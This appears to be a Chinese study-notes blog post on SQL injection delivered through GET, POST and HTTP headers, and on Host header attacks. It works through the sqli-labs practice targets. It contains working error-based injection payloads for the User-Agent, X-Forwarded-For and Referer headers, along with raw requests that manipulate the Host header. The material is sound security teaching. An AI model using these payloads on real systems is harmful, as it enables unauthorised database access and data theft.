本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。

1 HTTP注入

Sql注入如果按数据提交方式进行分类,则有HTTP的
1)GET注入 2)POST注入 3)HEADER注入

1.1 GET注入

GET 的语义是从服务器获取指定的资源,这个资源可以是静态的文本、页面、图片视频等。GET 请求的参数位置一般是写在 URL 中。
https://xiaolincoding.com/network/2_http/http_interview.html#get-%E4%B8%8E-post
数据以get的方式进行提交,注入点一般在get提交的url的参数后,可以通过Burpsuite抓包进行查找。http://127.0.0.1/Less-1/?id=1 类似这种可以输入不同id的均为Get请求。

1.2 POST注入

POST 的语义是根据请求负荷(报文body)对指定的资源做出处理,具体的处理方式视资源类型而不同。POST 请求携带数据的位置一般是写在报文 body 中。比如,你在我文章底部,敲入了留言后点击「提交」,浏览器就会执行一次 POST 请求,把你的留言文字放进了报文 body 里,然后拼接好 POST 请求头,通过 TCP 协议发送给服务器。
数据以post的方式进行提交。注入点一般在表单的填写处。

图片

如sqli-lab Less-14

1.3 Http头部注入

user-agent:判定用户使用的操作系统,以及使用的浏览器的版本

cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡

x-forwarded-for:获得HTTP请求端真实的IP

client-ip:数据库保存客户端IP的参数

rerferer:浏览器向web端表明自己从哪个链接而来

host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

2 靶场例子或测试步骤

① POST包中header的User-agent头后拼接语句
图片

‘and extractvalue(1,concat(0x7e,version(),0x7e)) and ‘1’=’1

‘or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) or’

② cookie后拼接语句

图片

图片

图片

③ x-forwarded-for后拼接语句

X-forwarded-for:172.63.25.3’ and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1) and ‘1’=’1

④ client-ip/rerferer都和前面的类似

referer:xxx.com’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’=’1

⑤ host注入

1)修改Host值

简单地来说,可以修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。但有时候篡改Host头的值会导致无法访问Web应用程序,从而导致“无效主机头”的错误信息,特别是通过CDN访问目标时会发生这种情况。

2)添加重复的Host头

添加重复的Host头,通常两个Host头之中有一个是有效的,可以理解为一个是确保请求正确地发送到目标服务器上;另一个则是传递payload到后端服务器中。

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff
3)使用绝对路径的URL

尽管许多请求通常在请求域上使用相对路径,但是也同时配置了绝对URL的请求。

GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff
有时候也可以尝试不同的协议,如HTTP或HTTPS。

4)添加缩进或换行

当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:

GET /example HTTP/1.1
Host: attack-stuff
Host: vulnerable-website.com
5)注入覆盖Host头的字段

与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff
诸如此类,还有其他的字段:

X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
6)忽略端口仅校验域名

当修改、添加重复Host头被拦截的时候,可以尝试了解Web应用程序是怎样解析Host头的。

比如,一些解析算法会忽略Host头中的端口值,仅仅校验域名。这时候可以将Host修改为如下形式:

GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff
保持域名不变,修改端口值为非端口号的其他值(非数字), 将Host头攻击的payload放在端口值处,同样能进行Host头攻击。

3 总结

本篇我们讲解了sql注入漏洞的HTTP注入,HTTP注入的关键词有:1)GET注入 2)POST注入 3)HEADER注入。文章重点在于HTTP头部注入部分,http头部有许多不同的字段,这些字段标识了不同的信息,其中host字段注入介绍了许多细节。
学习到这里,我们已经积攒了一定的问题,比如这些sql注入有哪些修复建议,有没有统一的测试步骤等,我们在后面的文章中一一寻找答案并解决吧。同时我们将讲完接下来的堆叠注入,二次注入,宽字节注入。

参考链接